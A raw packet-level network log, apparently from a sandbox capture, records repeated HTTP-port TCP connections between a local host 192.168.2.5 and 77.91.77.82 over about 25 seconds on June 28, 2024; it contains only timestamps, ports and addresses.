Jun 28, 2024 13:36:41.423211098 CEST	49736	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:41.423753977 CEST	49736	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:41.428621054 CEST	80	49736	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:41.639381886 CEST	80	49736	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:41.639458895 CEST	49736	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:41.754786968 CEST	49736	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:41.755094051 CEST	49737	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:42.066749096 CEST	49736	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:42.215992928 CEST	80	49737	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:42.216064930 CEST	49737	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:42.216089964 CEST	80	49736	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:42.216100931 CEST	80	49736	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:42.216141939 CEST	49736	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:42.216329098 CEST	49737	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:42.221371889 CEST	80	49737	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:42.916496992 CEST	80	49737	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:42.916560888 CEST	49737	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:42.917220116 CEST	49737	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:42.923604012 CEST	80	49737	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:43.138890028 CEST	80	49737	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:43.138993025 CEST	49737	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:43.255173922 CEST	49737	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:43.255498886 CEST	49738	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:43.262151957 CEST	80	49738	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:43.262226105 CEST	49738	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:43.262357950 CEST	49738	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:43.262603045 CEST	80	49737	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:43.262660980 CEST	49737	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:43.267551899 CEST	80	49738	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:44.065327883 CEST	80	49738	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:44.065392971 CEST	49738	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:44.066448927 CEST	49738	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:44.071414948 CEST	80	49738	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:44.282882929 CEST	80	49738	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:44.282942057 CEST	49738	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:44.395597935 CEST	49738	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:44.395900011 CEST	49739	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:44.400895119 CEST	80	49739	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:44.400955915 CEST	49739	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:44.400995970 CEST	80	49738	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:44.401041985 CEST	49738	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:44.401165962 CEST	49739	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:44.407010078 CEST	80	49739	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:45.079210043 CEST	80	49739	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:45.079930067 CEST	49739	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:45.080498934 CEST	49739	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:45.085335016 CEST	80	49739	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:45.293524027 CEST	80	49739	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:45.295876980 CEST	49739	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:45.411422968 CEST	49739	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:45.411736965 CEST	49740	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:45.416907072 CEST	80	49740	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:45.417258024 CEST	80	49739	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:45.417359114 CEST	49739	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:45.417373896 CEST	49740	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:45.417556047 CEST	49740	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:45.423984051 CEST	80	49740	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:46.136687040 CEST	80	49740	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:46.136785030 CEST	49740	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:46.137666941 CEST	49740	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:46.143465996 CEST	80	49740	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:46.350311995 CEST	80	49740	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:46.350526094 CEST	49740	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:46.458403111 CEST	49740	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:46.458724976 CEST	49741	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:46.463567972 CEST	80	49740	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:46.463587046 CEST	80	49741	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:46.463627100 CEST	49740	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:46.463747978 CEST	49741	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:46.463898897 CEST	49741	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:46.468868017 CEST	80	49741	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:47.149317980 CEST	80	49741	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:47.149382114 CEST	49741	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:47.150104046 CEST	49741	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:47.155632019 CEST	80	49741	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:47.368997097 CEST	80	49741	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:47.369142056 CEST	49741	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:47.473860979 CEST	49741	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:47.474066019 CEST	49742	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:47.478946924 CEST	80	49742	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:47.479079008 CEST	49742	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:47.479487896 CEST	80	49741	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:47.479541063 CEST	49741	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:47.479644060 CEST	49742	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:47.485644102 CEST	80	49742	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:48.163696051 CEST	80	49742	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:48.163938046 CEST	49742	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:48.164670944 CEST	49742	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:48.169713020 CEST	80	49742	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:48.383055925 CEST	80	49742	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:48.383183002 CEST	49742	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:48.489245892 CEST	49742	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:48.489557028 CEST	49743	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:48.494740009 CEST	80	49743	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:48.494919062 CEST	49743	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:48.495126009 CEST	49743	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:48.497772932 CEST	80	49742	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:48.497868061 CEST	49742	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:48.500405073 CEST	80	49743	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:49.854476929 CEST	80	49743	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:49.854502916 CEST	80	49743	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:49.854513884 CEST	80	49743	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:49.854635000 CEST	49743	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:49.855843067 CEST	49743	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:49.857372999 CEST	49743	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:49.862783909 CEST	80	49743	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:50.075582027 CEST	80	49743	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:50.075675011 CEST	49743	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:50.176803112 CEST	49743	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:50.177119970 CEST	49744	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:50.182032108 CEST	80	49744	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:50.182199955 CEST	80	49743	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:50.182208061 CEST	49744	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:50.182250977 CEST	49743	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:50.182310104 CEST	49744	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:50.187319040 CEST	80	49744	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:50.858501911 CEST	80	49744	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:50.858603001 CEST	49744	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:50.859354973 CEST	49744	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:50.864301920 CEST	80	49744	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:51.072541952 CEST	80	49744	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:51.072638035 CEST	49744	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:51.176809072 CEST	49744	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:51.177134991 CEST	49745	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:51.182028055 CEST	80	49745	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:51.182109118 CEST	49745	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:51.182203054 CEST	49745	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:51.182265043 CEST	80	49744	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:51.182315111 CEST	49744	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:51.186978102 CEST	80	49745	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:51.859661102 CEST	80	49745	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:51.859752893 CEST	49745	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:51.860346079 CEST	49745	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:51.865123987 CEST	80	49745	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:52.072575092 CEST	80	49745	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:52.072671890 CEST	49745	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:52.176912069 CEST	49745	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:52.177274942 CEST	49746	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:52.182470083 CEST	80	49746	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:52.182568073 CEST	49746	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:52.182758093 CEST	49746	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:52.183039904 CEST	80	49745	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:52.183098078 CEST	49745	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:52.187536001 CEST	80	49746	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:52.858726025 CEST	80	49746	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:52.858833075 CEST	49746	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:52.859415054 CEST	49746	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:52.864166021 CEST	80	49746	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:53.076347113 CEST	80	49746	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:53.076412916 CEST	49746	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:53.192532063 CEST	49746	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:53.192873955 CEST	49747	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:53.197837114 CEST	80	49747	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:53.197896957 CEST	80	49746	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:53.197969913 CEST	49747	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:53.197993994 CEST	49746	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:53.198106050 CEST	49747	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:53.203589916 CEST	80	49747	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:53.885365963 CEST	80	49747	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:53.885549068 CEST	49747	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:53.886389017 CEST	49747	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:53.893942118 CEST	80	49747	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:54.102508068 CEST	80	49747	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:54.102662086 CEST	49747	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:54.208125114 CEST	49747	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:54.208442926 CEST	49749	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:54.213284969 CEST	80	49749	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:54.213411093 CEST	49749	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:54.213583946 CEST	80	49747	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:54.213587999 CEST	49749	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:54.213635921 CEST	49747	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:54.218374014 CEST	80	49749	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:54.897890091 CEST	80	49749	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:54.897980928 CEST	49749	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:54.898739100 CEST	49749	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:54.903531075 CEST	80	49749	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:55.113255024 CEST	80	49749	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:55.113343000 CEST	49749	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:55.223659039 CEST	49749	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:55.223994970 CEST	49750	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:55.230370045 CEST	80	49750	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:55.230459929 CEST	49750	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:55.230598927 CEST	49750	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:55.231780052 CEST	80	49749	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:55.231848955 CEST	49749	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:55.236326933 CEST	80	49750	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:55.926636934 CEST	80	49750	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:55.926734924 CEST	49750	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:55.927464962 CEST	49750	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:55.934113026 CEST	80	49750	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:56.149373055 CEST	80	49750	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:56.150451899 CEST	49750	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:56.254926920 CEST	49750	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:56.255259037 CEST	49751	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:56.261131048 CEST	80	49751	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:56.261236906 CEST	49751	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:56.261343002 CEST	49751	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:56.263479948 CEST	80	49750	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:56.263547897 CEST	49750	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:56.266422987 CEST	80	49751	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:56.931538105 CEST	80	49751	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:56.931628942 CEST	49751	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:56.932333946 CEST	49751	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:56.937166929 CEST	80	49751	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:57.143922091 CEST	80	49751	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:57.144045115 CEST	49751	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:57.254941940 CEST	49751	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:57.255234003 CEST	49752	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:57.260982990 CEST	80	49751	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:57.261028051 CEST	80	49752	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:57.261051893 CEST	49751	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:57.261096001 CEST	49752	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:57.261218071 CEST	49752	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:57.265945911 CEST	80	49752	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:57.927162886 CEST	80	49752	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:57.927223921 CEST	49752	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:57.929538965 CEST	49752	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:57.935825109 CEST	80	49752	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:58.144998074 CEST	80	49752	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:58.146023989 CEST	49752	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:58.256908894 CEST	49752	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:58.257190943 CEST	49753	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:58.262161970 CEST	80	49753	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:58.264205933 CEST	80	49752	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:58.264293909 CEST	49752	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:58.264316082 CEST	49753	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:58.264431953 CEST	49753	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:58.269370079 CEST	80	49753	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:58.964123011 CEST	80	49753	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:58.964328051 CEST	49753	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:58.965131044 CEST	49753	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:58.970103979 CEST	80	49753	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:59.186172962 CEST	80	49753	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:59.186259031 CEST	49753	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:59.301711082 CEST	49753	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:59.301995993 CEST	49754	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:59.307156086 CEST	80	49754	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:59.307230949 CEST	80	49753	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:59.307260990 CEST	49754	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:59.307295084 CEST	49753	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:59.307373047 CEST	49754	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:59.312150002 CEST	80	49754	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:59.984132051 CEST	80	49754	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:59.984286070 CEST	49754	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:59.985104084 CEST	49754	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:59.989841938 CEST	80	49754	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:00.200962067 CEST	80	49754	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:00.201093912 CEST	49754	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:00.317405939 CEST	49754	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:00.317948103 CEST	49755	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:00.322655916 CEST	80	49754	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:00.322717905 CEST	49754	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:00.322751999 CEST	80	49755	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:00.322813034 CEST	49755	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:00.322952032 CEST	49755	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:00.327698946 CEST	80	49755	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:00.997962952 CEST	80	49755	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:00.998054981 CEST	49755	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:00.998579979 CEST	49755	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:01.003882885 CEST	80	49755	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:01.212579012 CEST	80	49755	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:01.212671995 CEST	49755	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:01.317586899 CEST	49755	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:01.317919016 CEST	49756	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:01.322886944 CEST	80	49756	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:01.322966099 CEST	80	49755	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:01.322981119 CEST	49756	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:01.323024988 CEST	49755	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:01.323122978 CEST	49756	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:01.327938080 CEST	80	49756	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:02.198045015 CEST	80	49756	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:02.198141098 CEST	49756	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:02.198658943 CEST	49756	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:02.203502893 CEST	80	49756	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:02.411288977 CEST	80	49756	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:02.411351919 CEST	49756	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:02.520418882 CEST	49756	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:02.520719051 CEST	49757	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:02.525568008 CEST	80	49757	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:02.525645971 CEST	49757	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:02.525696039 CEST	80	49756	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:02.525751114 CEST	49756	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:02.525850058 CEST	49757	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:02.530656099 CEST	80	49757	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:03.202166080 CEST	80	49757	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:03.202280045 CEST	49757	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:03.202963114 CEST	49757	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:03.215965033 CEST	80	49757	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:03.426495075 CEST	80	49757	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:03.426594019 CEST	49757	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:03.536051989 CEST	49757	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:03.536344051 CEST	49758	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:03.541191101 CEST	80	49758	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:03.541254044 CEST	49758	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:03.541387081 CEST	49758	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:03.541589022 CEST	80	49757	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:03.541636944 CEST	49757	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:03.546197891 CEST	80	49758	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:04.212548018 CEST	80	49758	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:04.212680101 CEST	49758	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:04.213439941 CEST	49758	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:04.218456030 CEST	80	49758	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:04.425492048 CEST	80	49758	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:04.425601959 CEST	49758	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:04.536051989 CEST	49758	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:04.536320925 CEST	49759	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:04.541204929 CEST	80	49758	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:04.541259050 CEST	80	49759	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:04.541285992 CEST	49758	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:04.541336060 CEST	49759	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:04.541435003 CEST	49759	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:04.546391010 CEST	80	49759	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:05.339934111 CEST	80	49759	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:05.339992046 CEST	49759	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:05.346585989 CEST	49759	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:05.351433992 CEST	80	49759	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:05.562622070 CEST	80	49759	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:05.562700033 CEST	49759	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:05.676623106 CEST	49759	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:05.676918030 CEST	49760	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:05.681731939 CEST	80	49760	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:05.681822062 CEST	49760	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:05.681837082 CEST	80	49759	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:05.681885958 CEST	49759	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:05.681998014 CEST	49760	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:05.686757088 CEST	80	49760	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:06.375780106 CEST	80	49760	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:06.375843048 CEST	49760	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:06.376641989 CEST	49760	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:06.381416082 CEST	80	49760	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:06.591536045 CEST	80	49760	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:06.591736078 CEST	49760	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:06.708004951 CEST	49760	80	192.168.2.5	77.91.77.82
